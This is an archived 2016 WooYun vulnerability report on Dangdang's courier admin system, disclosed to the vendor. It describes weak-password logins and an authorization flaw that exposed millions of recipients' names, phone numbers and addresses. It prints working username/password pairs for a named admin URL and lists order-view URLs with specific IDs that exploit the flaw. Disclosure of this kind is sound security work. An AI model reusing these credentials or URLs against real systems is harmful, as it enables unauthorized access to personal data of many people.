当当网某漏洞影响15年1月1号至今数千万快递信息(收货人姓名/手机号/详细家庭住址已在贩卖)

编号194464
Urlhttp://www.wooyun.org/bug.php?action=view&id=194464
漏洞状态厂商已经确认
漏洞标题当当网某漏洞影响15年1月1号至今数千万快递信息(收货人姓名/手机号/详细家庭住址已在贩卖)
漏洞类型后台弱口令
厂商当当网
白帽子getshell1993
提交日期2016-04-10 09:14:00
公开日期2016-05-26 10:10:00
修复时间(not set)
确认时间2016-04-11 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank16
漏洞简介
看来问题要公开厂商才会重视
江苏省15年1月1号至今运单合计:5632290
全国23个省的话保守估计数千万甚至上亿(实时数据,含收货人姓名/手机号/详细家庭住址)
QQ群经常有人在售卖当当网数据……
漏洞细节

起因 一个月前nosec平台上有人发了QQ群每天黑产在售卖当当网数据的威胁情报
https://nosec.org/my/threats/874

1.png


第二天晚上看了一下发现当当快递管理系统存在大量弱口令,可以获取到大量用户实时数据,跟搞黑产发的截图信息很相似,于是在nosec上补充了细节,武哥那边也通知了厂商。
……
隔了一个月时间,今晚再次看发现厂商修复了一部分,提供的部分弱密码改了,设置新密码也加强了密码强度,需要10位以上,但是旧的弱口令没排查,重置新密码后还是可以登录!想了想还是来乌云一发
http://ecadmin.ddexp.com.cn/ 当当快递系统
txtUsername=chenrui&txtPassword=chenrui123(登陆需要强制修改密码,改成1234qwer!@#$)
txtUsername=zhaopengfei&txtPassword=zhaopengfei123
txtUsername=huying&txtPassword=huying123
txtUsername=lizhidan&txtPassword=lizhidan123
txtUsername=yangting&txtPassword=yangting123

2.png


江苏省一个省份15年1月1号至今运单合计:5632290 后台支持一键导出excel表
这仅仅是一个省份的

3.png


打开其中一个看一下,含收货人姓名/手机号/详细家庭住址

4.png

POC

然而订单的地方存在越权,可以进一步获取到全国当当的快递数据。
简单列举今晚其中几个省份的快递数据
江苏省 2016-4-9 21:35:34
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691944
湖北省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691967

5.png


安徽省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602691999

11.png


陕西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692094

6.png


广西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692177

7.png


湖南省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692124

8.png


广东省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692230

9.png


山西省
http://ecadmin.ddexp.com.cn/waybill_status_list.php?action=vieworderinfo&client_order_id=33602692360

10.png


…………
不再一一列举
23省*500万,上亿数据都有可能。。
声明:好人一个,未动任何数据

修复方案

赶紧下线处理吧。。

状态信息 2016-04-10: 细节已通知厂商并且等待厂商处理中
2016-04-11: 厂商已经确认,细节仅向厂商公开
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开
厂商回复感谢对当当安全的支持
回应信息危害等级:高漏洞Rank:16 确认时间:2016-04-11 10:07
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

@getshell1993 so?

盛大网络02016-04-11 10:08:00

@getshell1993 日赚n万

Yuku02016-04-10 16:40:00

@getshell1993 666

BeenQuiver02016-04-10 16:06:00

泄露信息增长速度太恐怖了,昨晚到现在又增加10几万数据。黑产贩卖一条数据几毛钱。。。

getshell199302016-04-10 15:18:00

应该是nosec一个月前提到的威胁情报

Yuku02016-04-10 11:07:00

CCTV看这里

hack雪花02016-04-10 10:32:00